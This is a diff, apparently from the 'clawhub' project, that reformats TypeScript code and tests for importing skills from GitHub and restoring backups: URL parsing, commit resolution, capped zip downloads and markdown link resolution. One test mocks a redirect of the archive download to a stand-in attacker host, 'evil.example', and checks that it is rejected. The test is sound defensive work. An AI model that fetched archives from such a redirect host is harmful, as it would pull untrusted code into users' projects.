headers: {
location:
"https://codeload.github.com/a/b/zip/0123456789012345678901234567890123456789",
'https://codeload.github.com/a/b/zip/0123456789012345678901234567890123456789',
},
});
})
}
if (url.startsWith("https://codeload.github.com/a/b/zip/")) {
return new Response(null, { status: 200 });
if (url.startsWith('https://codeload.github.com/a/b/zip/')) {
return new Response(null, { status: 200 })
}
throw new Error(`Unexpected fetch: ${url}`);
};
throw new Error(`Unexpected fetch: ${url}`)
}
const resolved = await resolveGitHubCommit(
{ owner: "a", repo: "b", originalUrl: "https://github.com/a/b" },
{ owner: 'a', repo: 'b', originalUrl: 'https://github.com/a/b' },
fetcher,
);
expect(resolved.commit).toBe("0123456789012345678901234567890123456789");
)
expect(resolved.commit).toBe('0123456789012345678901234567890123456789')
const badFetcher: typeof fetch = async (input) => {
const url = requestInfoToUrlString(input);
if (url.includes("/archive/HEAD.zip")) {
const url = requestInfoToUrlString(input)
if (url.includes('/archive/HEAD.zip')) {
return new Response(null, {
status: 302,
headers: { location: "https://evil.example/zip/abc" },
});
headers: { location: 'https://evil.example/zip/abc' },
})
}
throw new Error(`Unexpected fetch: ${url}`);
};
throw new Error(`Unexpected fetch: ${url}`)
}
await expect(
resolveGitHubCommit(
{ owner: "a", repo: "b", originalUrl: "https://github.com/a/b" },
{ owner: 'a', repo: 'b', originalUrl: 'https://github.com/a/b' },
badFetcher,
),
).rejects.toThrow(/redirect/i);
});
).rejects.toThrow(/redirect/i)
})
it("resolves explicit ref commit via GitHub API", async () => {
it('resolves explicit ref commit via GitHub API', async () => {
const fetcher: typeof fetch = async (input) => {
const url = requestInfoToUrlString(input);
if (url.startsWith("https://api.github.com/repos/a/b/commits/")) {
return new Response(JSON.stringify({ sha: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }), {
const url = requestInfoToUrlString(input)
if (url.startsWith('https://api.github.com/repos/a/b/commits/')) {
return new Response(JSON.stringify({ sha: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' }), {
status: 200,
});
})
}
throw new Error(`Unexpected fetch: ${url}`);
};
throw new Error(`Unexpected fetch: ${url}`)
}
const resolved = await resolveGitHubCommit(
{ owner: "a", repo: "b", ref: "main", originalUrl: "https://github.com/a/b" },
{ owner: 'a', repo: 'b', ref: 'main', originalUrl: 'https://github.com/a/b' },
fetcher,
);
expect(resolved.commit).toBe("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
});
)
expect(resolved.commit).toBe('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
})
it("enforces zip byte cap when content-length is too large", async () => {
it('enforces zip byte cap when content-length is too large', async () => {
const resolved = {
owner: "a",
repo: "b",
ref: "main",
commit: "0123456789012345678901234567890123456789",
path: "",
repoUrl: "https://github.com/a/b",
originalUrl: "https://github.com/a/b",
} as const;
owner: 'a',
repo: 'b',
ref: 'main',
commit: '0123456789012345678901234567890123456789',
path: '',
repoUrl: 'https://github.com/a/b',
originalUrl: 'https://github.com/a/b',
} as const
const fetcher: typeof fetch = async () =>
new Response(new Blob([new Uint8Array([1, 2, 3])]), {
status: 200,
headers: { "content-length": String(999_999_999) },
});
headers: { 'content-length': String(999_999_999) },
})
await expect(fetchGitHubZipBytes(resolved, fetcher, { maxZipBytes: 10 })).rejects.toThrow(
/too large/i,
);
});
});
)
})
})
+253 -253
View File
@@ -1,106 +1,106 @@
import { TEXT_FILE_EXTENSION_SET } from "clawhub-schema";
import { zipSync } from "fflate";
import semver from "semver";
import { parseFrontmatter } from "./skills";
import { TEXT_FILE_EXTENSION_SET } from 'clawhub-schema'
import { zipSync } from 'fflate'
import semver from 'semver'
import { parseFrontmatter } from './skills'
export type GitHubImportUrl = {
owner: string;
repo: string;
ref?: string;
path?: string;
originalUrl: string;
};
owner: string
repo: string
ref?: string
path?: string
originalUrl: string
}
export type GitHubImportResolved = {
owner: string;
repo: string;
ref: string;
commit: string;
path: string;
repoUrl: string;
originalUrl: string;
};
owner: string
repo: string
ref: string
commit: string
path: string
repoUrl: string
originalUrl: string
}
export type GitHubImportCandidate = {
path: string;
readmePath: string;
name?: string;
description?: string;
};
path: string
readmePath: string
name?: string
description?: string
}
export type GitHubImportFileEntry = {
path: string;
size: number;
defaultSelected: boolean;
};
path: string
size: number
defaultSelected: boolean
}
const MAX_REDIRECTS = 6;
const GITHUB_HOST = "github.com";
const CODELOAD_HOST = "codeload.github.com";
const SKILL_FILENAMES = ["skill.md", "skills.md"];
const MAX_REDIRECTS = 6
const GITHUB_HOST = 'github.com'
const CODELOAD_HOST = 'codeload.github.com'
const SKILL_FILENAMES = ['skill.md', 'skills.md']
export function parseGitHubImportUrl(input: string): GitHubImportUrl {
const originalUrl = input.trim();
let url: URL;
const originalUrl = input.trim()
let url: URL
try {
url = new URL(originalUrl);
url = new URL(originalUrl)
} catch {
throw new Error("Invalid URL");
throw new Error('Invalid URL')
}
if (url.protocol !== "https:") throw new Error("Only https:// URLs are supported");
if (url.hostname !== GITHUB_HOST) throw new Error("Only github.com URLs are supported");
if (url.protocol !== 'https:') throw new Error('Only https:// URLs are supported')
if (url.hostname !== GITHUB_HOST) throw new Error('Only github.com URLs are supported')
const segments = url.pathname
.split("/")
.split('/')
.map((segment) => segment.trim())
.filter(Boolean)
.map((segment) => {
try {
return decodeURIComponent(segment);
return decodeURIComponent(segment)
} catch {
throw new Error("Invalid URL");
throw new Error('Invalid URL')
}
});
})
const owner = segments[0] ?? "";
const repo = (segments[1] ?? "").replace(/\.git$/, "");
if (!owner || !repo) throw new Error("GitHub URL must be /<owner>/<repo>");
const owner = segments[0] ?? ''
const repo = (segments[1] ?? '').replace(/\.git$/, '')
if (!owner || !repo) throw new Error('GitHub URL must be /<owner>/<repo>')
const kind = segments[2] ?? "";
if (!kind) return { owner, repo, originalUrl };
if (kind !== "tree" && kind !== "blob") {
return { owner, repo, originalUrl };
const kind = segments[2] ?? ''
if (!kind) return { owner, repo, originalUrl }
if (kind !== 'tree' && kind !== 'blob') {
return { owner, repo, originalUrl }
}
const ref = segments[3] ?? "";
if (!ref) throw new Error("Missing ref in GitHub URL");
const ref = segments[3] ?? ''
if (!ref) throw new Error('Missing ref in GitHub URL')
const rest = segments.slice(4).join("/");
const normalizedRest = normalizeRepoPath(rest);
const rest = segments.slice(4).join('/')
const normalizedRest = normalizeRepoPath(rest)
if (kind === "blob") {
if (!rest) throw new Error("Missing path in GitHub URL");
if (!normalizedRest) throw new Error("Invalid path in GitHub URL");
const dir = normalizedRest.split("/").slice(0, -1).join("/");
return { owner, repo, ref, path: dir || undefined, originalUrl };
if (kind === 'blob') {
if (!rest) throw new Error('Missing path in GitHub URL')
if (!normalizedRest) throw new Error('Invalid path in GitHub URL')
const dir = normalizedRest.split('/').slice(0, -1).join('/')
return { owner, repo, ref, path: dir || undefined, originalUrl }
}
if (rest && !normalizedRest) throw new Error("Invalid path in GitHub URL");
return { owner, repo, ref, path: normalizedRest || undefined, originalUrl };
if (rest && !normalizedRest) throw new Error('Invalid path in GitHub URL')
return { owner, repo, ref, path: normalizedRest || undefined, originalUrl }
}
export async function resolveGitHubCommit(
parsed: GitHubImportUrl,
fetcher: typeof fetch,
): Promise<GitHubImportResolved> {
const repoUrl = `https://${GITHUB_HOST}/${parsed.owner}/${parsed.repo}`;
const ref = parsed.ref?.trim() || "HEAD";
const path = normalizeRepoPath(parsed.path ?? "");
const repoUrl = `https://${GITHUB_HOST}/${parsed.owner}/${parsed.repo}`
const ref = parsed.ref?.trim() || 'HEAD'
const path = normalizeRepoPath(parsed.path ?? '')
const commit =
ref === "HEAD"
ref === 'HEAD'
? await resolveHeadCommit(parsed, fetcher)
: await resolveRefCommit(parsed, ref, fetcher);
: await resolveRefCommit(parsed, ref, fetcher)
return {
owner: parsed.owner,
@@ -110,42 +110,42 @@ export async function resolveGitHubCommit(
path,
repoUrl,
originalUrl: parsed.originalUrl,
};
}
}
async function resolveRefCommit(parsed: GitHubImportUrl, ref: string, fetcher: typeof fetch) {
const apiUrl = `https://api.github.com/repos/${parsed.owner}/${parsed.repo}/commits/${encodeURIComponent(ref)}`;
const apiUrl = `https://api.github.com/repos/${parsed.owner}/${parsed.repo}/commits/${encodeURIComponent(ref)}`
const response = await fetcher(apiUrl, {
headers: {
Accept: "application/vnd.github+json",
"User-Agent": "clawhub/github-import",
Accept: 'application/vnd.github+json',
'User-Agent': 'clawhub/github-import',
},
});
if (!response.ok) throw new Error("GitHub ref not found");
const body = (await response.json()) as { sha?: unknown };
const sha = typeof body.sha === "string" ? body.sha : "";
if (!/^[a-f0-9]{40}$/i.test(sha)) throw new Error("GitHub commit sha missing");
return sha.toLowerCase();
})
if (!response.ok) throw new Error('GitHub ref not found')
const body = (await response.json()) as { sha?: unknown }
const sha = typeof body.sha === 'string' ? body.sha : ''
if (!/^[a-f0-9]{40}$/i.test(sha)) throw new Error('GitHub commit sha missing')
return sha.toLowerCase()
}
async function resolveHeadCommit(parsed: GitHubImportUrl, fetcher: typeof fetch) {
let url = `https://${GITHUB_HOST}/${parsed.owner}/${parsed.repo}/archive/HEAD.zip`;
let url = `https://${GITHUB_HOST}/${parsed.owner}/${parsed.repo}/archive/HEAD.zip`
for (let i = 0; i < MAX_REDIRECTS; i += 1) {
const response = await fetcher(url, { redirect: "manual" });
const location = response.headers.get("location");
if (!location) break;
const next = new URL(location, url);
const response = await fetcher(url, { redirect: 'manual' })
const location = response.headers.get('location')
if (!location) break
const next = new URL(location, url)
if (next.hostname !== GITHUB_HOST && next.hostname !== CODELOAD_HOST) {
throw new Error("Unexpected redirect host");
throw new Error('Unexpected redirect host')
}
url = next.toString();
url = next.toString()
}
const maybe = url.split("/").at(-1) ?? "";
const maybe = url.split('/').at(-1) ?? ''
if (!/^[a-f0-9]{40}$/i.test(maybe)) {
throw new Error("Could not resolve commit for HEAD");
throw new Error('Could not resolve commit for HEAD')
}
return maybe.toLowerCase();
return maybe.toLowerCase()
}
export async function fetchGitHubZipBytes(
@@ -153,273 +153,273 @@ export async function fetchGitHubZipBytes(
fetcher: typeof fetch,
limits?: { maxZipBytes?: number },
): Promise<Uint8Array> {
const maxZipBytes = limits?.maxZipBytes ?? 25 * 1024 * 1024;
const url = `https://${CODELOAD_HOST}/${resolved.owner}/${resolved.repo}/zip/${resolved.commit}`;
const maxZipBytes = limits?.maxZipBytes ?? 25 * 1024 * 1024
const url = `https://${CODELOAD_HOST}/${resolved.owner}/${resolved.repo}/zip/${resolved.commit}`
const response = await fetcher(url, {
headers: { "User-Agent": "clawhub/github-import" },
});
if (!response.ok) throw new Error("GitHub archive download failed");
headers: { 'User-Agent': 'clawhub/github-import' },
})
if (!response.ok) throw new Error('GitHub archive download failed')
const lengthHeader = response.headers.get("content-length");
const lengthHeader = response.headers.get('content-length')
if (lengthHeader) {
const contentLength = Number.parseInt(lengthHeader, 10);
const contentLength = Number.parseInt(lengthHeader, 10)
if (Number.isFinite(contentLength) && contentLength > maxZipBytes) {
throw new Error("GitHub archive too large");
throw new Error('GitHub archive too large')
}
}
const reader = response.body?.getReader();
const reader = response.body?.getReader()
if (!reader) {
const buffer = new Uint8Array(await response.arrayBuffer());
if (buffer.byteLength > maxZipBytes) throw new Error("GitHub archive too large");
return buffer;
const buffer = new Uint8Array(await response.arrayBuffer())
if (buffer.byteLength > maxZipBytes) throw new Error('GitHub archive too large')
return buffer
}
const chunks: Uint8Array[] = [];
let total = 0;
const chunks: Uint8Array[] = []
let total = 0
while (true) {
const { done, value } = await reader.read();
if (done) break;
if (!value) continue;
total += value.byteLength;
if (total > maxZipBytes) throw new Error("GitHub archive too large");
chunks.push(value);
const { done, value } = await reader.read()
if (done) break
if (!value) continue
total += value.byteLength
if (total > maxZipBytes) throw new Error('GitHub archive too large')
chunks.push(value)
}
const out = new Uint8Array(total);
let offset = 0;
const out = new Uint8Array(total)
let offset = 0
for (const chunk of chunks) {
out.set(chunk, offset);
offset += chunk.byteLength;
out.set(chunk, offset)
offset += chunk.byteLength
}
return out;
return out
}
export type ZipEntryMap = Record<string, Uint8Array>;
export type ZipEntryMap = Record<string, Uint8Array>
export function buildGitHubZipForTests(entries: Record<string, string>) {
const asBytes = Object.fromEntries(
Object.entries(entries).map(([path, text]) => [path, new TextEncoder().encode(text)]),
);
return Uint8Array.from(zipSync(asBytes, { level: 1 }));
)
return Uint8Array.from(zipSync(asBytes, { level: 1 }))
}
export function stripGitHubZipRoot(entries: ZipEntryMap): ZipEntryMap {
const paths = Object.keys(entries);
if (paths.length === 0) return {};
const first = paths[0] ?? "";
const firstRoot = first.split("/")[0] ?? "";
if (!firstRoot) return entries;
const prefix = `${firstRoot}/`;
if (!paths.every((path) => path.startsWith(prefix))) return entries;
const out: ZipEntryMap = {};
const paths = Object.keys(entries)
if (paths.length === 0) return {}
const first = paths[0] ?? ''
const firstRoot = first.split('/')[0] ?? ''
if (!firstRoot) return entries
const prefix = `${firstRoot}/`
if (!paths.every((path) => path.startsWith(prefix))) return entries
const out: ZipEntryMap = {}
for (const [path, data] of Object.entries(entries)) {
const stripped = path.slice(prefix.length);
if (!stripped) continue;
out[stripped] = data;
const stripped = path.slice(prefix.length)
if (!stripped) continue
out[stripped] = data
}
return out;
return out
}
export function detectGitHubImportCandidates(entries: ZipEntryMap): GitHubImportCandidate[] {
const candidates: GitHubImportCandidate[] = [];
const candidates: GitHubImportCandidate[] = []
for (const path of Object.keys(entries)) {
const normalized = normalizeRepoPath(path);
const lower = normalized.toLowerCase();
const isSkill = SKILL_FILENAMES.some((name) => lower === name || lower.endsWith(`/${name}`));
if (!isSkill) continue;
const dir = normalized.split("/").slice(0, -1).join("/");
const readmePath = normalized;
const raw = new TextDecoder().decode(entries[path] ?? new Uint8Array());
const frontmatter = parseFrontmatter(raw);
const name = typeof frontmatter.name === "string" ? frontmatter.name : undefined;
const normalized = normalizeRepoPath(path)
const lower = normalized.toLowerCase()
const isSkill = SKILL_FILENAMES.some((name) => lower === name || lower.endsWith(`/${name}`))
if (!isSkill) continue
const dir = normalized.split('/').slice(0, -1).join('/')
const readmePath = normalized
const raw = new TextDecoder().decode(entries[path] ?? new Uint8Array())
const frontmatter = parseFrontmatter(raw)
const name = typeof frontmatter.name === 'string' ? frontmatter.name : undefined
const description =
typeof frontmatter.description === "string" ? frontmatter.description : undefined;
typeof frontmatter.description === 'string' ? frontmatter.description : undefined
candidates.push({
path: normalizeRepoPath(dir),
readmePath,
name: name?.trim() || undefined,
description: description?.trim() || undefined,
});
})
}
return uniqCandidates(candidates);
return uniqCandidates(candidates)
}
function uniqCandidates(candidates: GitHubImportCandidate[]) {
const seen = new Set<string>();
const out: GitHubImportCandidate[] = [];
const seen = new Set<string>()
const out: GitHubImportCandidate[] = []
for (const candidate of candidates) {
const key = `${candidate.path}::${candidate.readmePath}`;
if (seen.has(key)) continue;
seen.add(key);
out.push(candidate);
const key = `${candidate.path}::${candidate.readmePath}`
if (seen.has(key)) continue
seen.add(key)
out.push(candidate)
}
return out.sort((a, b) => a.path.localeCompare(b.path));
return out.sort((a, b) => a.path.localeCompare(b.path))
}
export function listTextFilesUnderCandidate(
entries: ZipEntryMap,
candidatePath: string,
): Array<{ path: string; bytes: Uint8Array }> {
const root = normalizeCandidateRoot(candidatePath);
const out: Array<{ path: string; bytes: Uint8Array }> = [];
const root = normalizeCandidateRoot(candidatePath)
const out: Array<{ path: string; bytes: Uint8Array }> = []
for (const [path, bytes] of Object.entries(entries)) {
const normalized = normalizeRepoPath(path);
if (!isUnderRoot(normalized, root)) continue;
if (!isTextPath(normalized)) continue;
out.push({ path: normalized, bytes });
const normalized = normalizeRepoPath(path)
if (!isUnderRoot(normalized, root)) continue
if (!isTextPath(normalized)) continue
out.push({ path: normalized, bytes })
}
return out.sort((a, b) => a.path.localeCompare(b.path));
return out.sort((a, b) => a.path.localeCompare(b.path))
}
export function computeDefaultSelectedPaths(params: {
candidate: GitHubImportCandidate;
files: Array<{ path: string; bytes: Uint8Array }>;
maxDepth?: number;
maxAdds?: number;
candidate: GitHubImportCandidate
files: Array<{ path: string; bytes: Uint8Array }>
maxDepth?: number
maxAdds?: number
}) {
const maxDepth = params.maxDepth ?? 4;
const maxAdds = params.maxAdds ?? 200;
const byPath = new Map(params.files.map((file) => [file.path, file.bytes]));
const candidateRoot = normalizeCandidateRoot(params.candidate.path);
const selected = new Set<string>();
let added = 0;
const maxDepth = params.maxDepth ?? 4
const maxAdds = params.maxAdds ?? 200
const byPath = new Map(params.files.map((file) => [file.path, file.bytes]))
const candidateRoot = normalizeCandidateRoot(params.candidate.path)
const selected = new Set<string>()
let added = 0
const add = (path: string) => {
const normalized = normalizeRepoPath(path);
if (!isUnderRoot(normalized, candidateRoot)) return;
if (!byPath.has(normalized)) return;
const normalized = normalizeRepoPath(path)
if (!isUnderRoot(normalized, candidateRoot)) return
if (!byPath.has(normalized)) return
if (!selected.has(normalized)) {
selected.add(normalized);
added += 1;
selected.add(normalized)
added += 1
}
};
add(params.candidate.readmePath);
const visited = new Set<string>();
const queue: Array<{ path: string; depth: number }> = [
{ path: params.candidate.readmePath, depth: 0 },
];
while (queue.length > 0) {
const item = queue.shift();
if (!item) break;
if (item.depth >= maxDepth) continue;
if (visited.has(item.path)) continue;
visited.add(item.path);
const bytes = byPath.get(item.path);
if (!bytes) continue;
if (!item.path.toLowerCase().endsWith(".md")) continue;
const text = new TextDecoder().decode(bytes);
const refs = extractMarkdownRelativeTargets(text);
for (const ref of refs) {
if (added >= maxAdds) break;
const resolved = resolveMarkdownTarget(item.path, ref);
if (!resolved) continue;
add(resolved);
if (resolved.toLowerCase().endsWith(".md") && byPath.has(resolved)) {
queue.push({ path: resolved, depth: item.depth + 1 });
}
}
if (added >= maxAdds) break;
}
return Array.from(selected).sort();
add(params.candidate.readmePath)
const visited = new Set<string>()
const queue: Array<{ path: string; depth: number }> = [
{ path: params.candidate.readmePath, depth: 0 },
]
while (queue.length > 0) {
const item = queue.shift()
if (!item) break
if (item.depth >= maxDepth) continue
if (visited.has(item.path)) continue
visited.add(item.path)
const bytes = byPath.get(item.path)
if (!bytes) continue
if (!item.path.toLowerCase().endsWith('.md')) continue
const text = new TextDecoder().decode(bytes)
const refs = extractMarkdownRelativeTargets(text)
for (const ref of refs) {
if (added >= maxAdds) break
const resolved = resolveMarkdownTarget(item.path, ref)
if (!resolved) continue
add(resolved)
if (resolved.toLowerCase().endsWith('.md') && byPath.has(resolved)) {
queue.push({ path: resolved, depth: item.depth + 1 })
}
}
if (added >= maxAdds) break
}
return Array.from(selected).sort()
}
export function buildGitHubImportFileList(params: {
candidate: GitHubImportCandidate;
files: Array<{ path: string; bytes: Uint8Array }>;
defaultSelectedPaths: string[];
candidate: GitHubImportCandidate
files: Array<{ path: string; bytes: Uint8Array }>
defaultSelectedPaths: string[]
}): GitHubImportFileEntry[] {
const selected = new Set(params.defaultSelectedPaths);
const selected = new Set(params.defaultSelectedPaths)
return params.files.map((file) => ({
path: file.path,
size: file.bytes.byteLength,
defaultSelected: selected.has(file.path),
}));
}))
}
export function normalizeRepoPath(path: string) {
const stripped = path.replace(/^\/+/, "").trim();
if (!stripped) return "";
const cleaned = stripped.split("/").filter(Boolean).join("/");
if (!cleaned || cleaned.includes("\\") || cleaned.includes("..")) return "";
return cleaned;
const stripped = path.replace(/^\/+/, '').trim()
if (!stripped) return ''
const cleaned = stripped.split('/').filter(Boolean).join('/')
if (!cleaned || cleaned.includes('\\') || cleaned.includes('..')) return ''
return cleaned
}
export function normalizeCandidateRoot(candidatePath: string) {
const normalized = normalizeRepoPath(candidatePath);
return normalized ? `${normalized}/` : "";
const normalized = normalizeRepoPath(candidatePath)
return normalized ? `${normalized}/` : ''
}
function isUnderRoot(path: string, rootWithSlash: string) {
if (!rootWithSlash) return true;
return path === rootWithSlash.slice(0, -1) || path.startsWith(rootWithSlash);
if (!rootWithSlash) return true
return path === rootWithSlash.slice(0, -1) || path.startsWith(rootWithSlash)
}
function isTextPath(path: string) {
const lower = path.toLowerCase();
const ext = lower.split(".").at(-1) ?? "";
if (!ext) return false;
return TEXT_FILE_EXTENSION_SET.has(ext);
const lower = path.toLowerCase()
const ext = lower.split('.').at(-1) ?? ''
if (!ext) return false
return TEXT_FILE_EXTENSION_SET.has(ext)
}
export function suggestDisplayName(candidate: GitHubImportCandidate, fallbackBase: string) {
const base = candidate.name?.trim() || fallbackBase.trim();
if (!base) return "";
const base = candidate.name?.trim() || fallbackBase.trim()
if (!base) return ''
return base
.replace(/[-_]+/g, " ")
.replace(/\s+/g, " ")
.replace(/\b\w/g, (char) => char.toUpperCase());
.replace(/[-_]+/g, ' ')
.replace(/\s+/g, ' ')
.replace(/\b\w/g, (char) => char.toUpperCase())
}
export function suggestVersion(latestVersion?: string | null) {
const latest = latestVersion?.trim() || "";
const latest = latestVersion?.trim() || ''
if (latest && semver.valid(latest)) {
return semver.inc(latest, "patch") ?? "0.1.0";
return semver.inc(latest, 'patch') ?? '0.1.0'
}
return "0.1.0";
return '0.1.0'
}
export function extractMarkdownRelativeTargets(markdown: string): string[] {
const out: string[] = [];
const pattern = /!?\[[^\]]*]\(([^)]+)\)/g;
const out: string[] = []
const pattern = /!?\[[^\]]*]\(([^)]+)\)/g
for (const match of markdown.matchAll(pattern)) {
const raw = (match[1] ?? "").trim();
if (!raw) continue;
const isAngleWrapped = raw.startsWith("<") && raw.endsWith(">");
const cleaned = raw.replace(/^<|>$/g, "").trim();
if (!cleaned) continue;
const target = isAngleWrapped ? cleaned : (cleaned.split(/\s+/)[0] ?? "");
if (!target) continue;
if (target.startsWith("#")) continue;
const lower = target.toLowerCase();
if (lower.startsWith("http:") || lower.startsWith("https:")) continue;
if (lower.startsWith("mailto:")) continue;
out.push(target);
const raw = (match[1] ?? '').trim()
if (!raw) continue
const isAngleWrapped = raw.startsWith('<') && raw.endsWith('>')
const cleaned = raw.replace(/^<|>$/g, '').trim()
if (!cleaned) continue
const target = isAngleWrapped ? cleaned : (cleaned.split(/\s+/)[0] ?? '')
if (!target) continue
if (target.startsWith('#')) continue
const lower = target.toLowerCase()
if (lower.startsWith('http:') || lower.startsWith('https:')) continue
if (lower.startsWith('mailto:')) continue
out.push(target)
}
return out;
return out
}
export function resolveMarkdownTarget(fromPath: string, target: string) {
const withoutHash = target.split("#")[0] ?? "";
const withoutQuery = (withoutHash.split("?")[0] ?? "").trim();
if (!withoutQuery) return null;
if (withoutQuery.startsWith("/")) return null;
if (withoutQuery.includes("\\") || withoutQuery.includes("..")) return null;
const withoutHash = target.split('#')[0] ?? ''
const withoutQuery = (withoutHash.split('?')[0] ?? '').trim()
if (!withoutQuery) return null
if (withoutQuery.startsWith('/')) return null
if (withoutQuery.includes('\\') || withoutQuery.includes('..')) return null
const fromDirParts = normalizeRepoPath(fromPath).split("/").slice(0, -1);
const targetParts = withoutQuery.split("/").filter(Boolean);
const combined = [...fromDirParts, ...targetParts];
const normalized: string[] = [];
const fromDirParts = normalizeRepoPath(fromPath).split('/').slice(0, -1)
const targetParts = withoutQuery.split('/').filter(Boolean)
const combined = [...fromDirParts, ...targetParts]
const normalized: string[] = []
for (const part of combined) {
if (part === ".") continue;
if (part === "..") return null;
normalized.push(part);
if (part === '.') continue
if (part === '..') return null
normalized.push(part)
}
return normalizeRepoPath(normalized.join("/")) || null;
return normalizeRepoPath(normalized.join('/')) || null
}
+9 -8
View File
@@ -1,18 +1,19 @@
export const GITHUB_PROFILE_SYNC_WINDOW_MS = 6 * 60 * 60 * 1000;
export const GITHUB_PROFILE_SYNC_WINDOW_MS = 6 * 60 * 60 * 1000
export function shouldScheduleGitHubProfileSync(
user:
| {
deletedAt?: number;
deactivatedAt?: number;
githubProfileSyncedAt?: number;
deletedAt?: number
deactivatedAt?: number
githubProfileSyncedAt?: number
}
| null
| undefined,
now: number,
) {
if (!user || user.deletedAt || user.deactivatedAt) return false;
const lastSyncedAt = user.githubProfileSyncedAt ?? null;
if (lastSyncedAt && now - lastSyncedAt < GITHUB_PROFILE_SYNC_WINDOW_MS) return false;
return true;
if (!user || user.deletedAt || user.deactivatedAt) return false
const lastSyncedAt = user.githubProfileSyncedAt ?? null
if (lastSyncedAt && now - lastSyncedAt < GITHUB_PROFILE_SYNC_WINDOW_MS) return false
return true
}
+34 -33
View File
@@ -1,53 +1,54 @@
/* @vitest-environment node */
import { afterEach, describe, expect, it, vi } from "vitest";
import type { GitHubBackupContext } from "./githubBackup";
import { readGitHubBackupFile } from "./githubRestoreHelpers";
import { afterEach, describe, expect, it, vi } from 'vitest'
import type { GitHubBackupContext } from './githubBackup'
import { readGitHubBackupFile } from './githubRestoreHelpers'
function makeContext(): GitHubBackupContext {
return {
token: "token",
repo: "owner/repo",
repoOwner: "owner",
repoName: "repo",
branch: "main",
root: "skills",
};
token: 'token',
repo: 'owner/repo',
repoOwner: 'owner',
repoName: 'repo',
branch: 'main',
root: 'skills',
}
}
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
vi.unstubAllGlobals()
vi.restoreAllMocks()
})
describe("githubRestoreHelpers", () => {
it("decodes base64 payloads (including newlines) into bytes", async () => {
const content = "SGVs\n bG8h"; // "Hello!" with whitespace/newline
describe('githubRestoreHelpers', () => {
it('decodes base64 payloads (including newlines) into bytes', async () => {
const content = 'SGVs\n bG8h' // "Hello!" with whitespace/newline
vi.stubGlobal(
"fetch",
'fetch',
vi.fn(async () => ({
ok: true,
json: async () => ({ content, encoding: "base64" }),
text: async () => "",
json: async () => ({ content, encoding: 'base64' }),
text: async () => '',
})),
);
)
const bytes = await readGitHubBackupFile(makeContext(), "Owner", "slug", "SKILL.md");
expect(bytes).not.toBeNull();
expect(Buffer.from(bytes!).toString("utf8")).toBe("Hello!");
});
const bytes = await readGitHubBackupFile(makeContext(), 'Owner', 'slug', 'SKILL.md')
expect(bytes).not.toBeNull()
expect(Buffer.from(bytes!).toString('utf8')).toBe('Hello!')
})
it("throws on unsupported GitHub content encoding", async () => {
it('throws on unsupported GitHub content encoding', async () => {
vi.stubGlobal(
"fetch",
'fetch',
vi.fn(async () => ({
ok: true,
json: async () => ({ content: "eA==", encoding: "utf-16" }),
text: async () => "",
json: async () => ({ content: 'eA==', encoding: 'utf-16' }),
text: async () => '',
})),
);
)
await expect(readGitHubBackupFile(makeContext(), "Owner", "slug", "SKILL.md")).rejects.toThrow(
await expect(readGitHubBackupFile(makeContext(), 'Owner', 'slug', 'SKILL.md')).rejects.toThrow(
/Unsupported GitHub content encoding/i,
);
});
});
)
})
})
+58 -58
View File
@@ -1,23 +1,23 @@
"use node";
'use node'
import type { GitHubBackupContext } from "./githubBackup";
import type { GitHubBackupContext } from './githubBackup'
const GITHUB_API = "https://api.github.com";
const META_FILENAME = "_meta.json";
const USER_AGENT = "clawhub/skills-restore";
const GITHUB_API = 'https://api.github.com'
const META_FILENAME = '_meta.json'
const USER_AGENT = 'clawhub/skills-restore'
type GitHubContentsEntry = {
name?: string;
path?: string;
type?: string; // 'file' | 'dir'
size?: number;
};
name?: string
path?: string
type?: string // 'file' | 'dir'
size?: number
}
type GitHubBlobResponse = {
content?: string;
encoding?: string;
size?: number;
};
content?: string
encoding?: string
size?: number
}
/**
* List all files in a skill's backup directory (excluding _meta.json).
@@ -30,8 +30,8 @@ export async function listGitHubBackupFiles(
ownerHandle: string,
slug: string,
): Promise<string[]> {
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug);
return listFilesRecursive(context, skillRoot, "");
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug)
return listFilesRecursive(context, skillRoot, '')
}
/**
@@ -43,37 +43,37 @@ async function listFilesRecursive(
basePath: string,
relativePath: string,
): Promise<string[]> {
const dirPath = relativePath ? `${basePath}/${relativePath}` : basePath;
const dirPath = relativePath ? `${basePath}/${relativePath}` : basePath
try {
const entries = await githubGet<GitHubContentsEntry[]>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/contents/${encodePath(dirPath)}?ref=${context.branch}`,
);
)
if (!Array.isArray(entries)) return [];
if (!Array.isArray(entries)) return []
const files: string[] = [];
const files: string[] = []
for (const entry of entries) {
if (!entry.name || !entry.type) continue;
if (!entry.name || !entry.type) continue
const entryRelative = relativePath ? `${relativePath}/${entry.name}` : entry.name;
const entryRelative = relativePath ? `${relativePath}/${entry.name}` : entry.name
if (entry.type === "file") {
if (entry.type === 'file') {
// Skip the meta file
if (entry.name === META_FILENAME) continue;
files.push(entryRelative);
} else if (entry.type === "dir") {
if (entry.name === META_FILENAME) continue
files.push(entryRelative)
} else if (entry.type === 'dir') {
// Recurse into subdirectories
const subFiles = await listFilesRecursive(context, basePath, entryRelative);
files.push(...subFiles);
const subFiles = await listFilesRecursive(context, basePath, entryRelative)
files.push(...subFiles)
}
}
return files;
return files
} catch (error) {
if (isNotFoundError(error)) return [];
throw error;
if (isNotFoundError(error)) return []
throw error
}
}
@@ -87,73 +87,73 @@ export async function readGitHubBackupFile(
slug: string,
filePath: string,
): Promise<Uint8Array | null> {
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug);
const fullPath = `${skillRoot}/${filePath}`;
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug)
const fullPath = `${skillRoot}/${filePath}`
try {
const response = await githubGet<GitHubBlobResponse>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/contents/${encodePath(fullPath)}?ref=${context.branch}`,
);
)
if (!response.content) return null;
if (!response.content) return null
if (response.encoding && response.encoding !== "base64") {
throw new Error(`Unsupported GitHub content encoding: ${response.encoding}`);
if (response.encoding && response.encoding !== 'base64') {
throw new Error(`Unsupported GitHub content encoding: ${response.encoding}`)
}
return fromBase64Bytes(response.content);
return fromBase64Bytes(response.content)
} catch (error) {
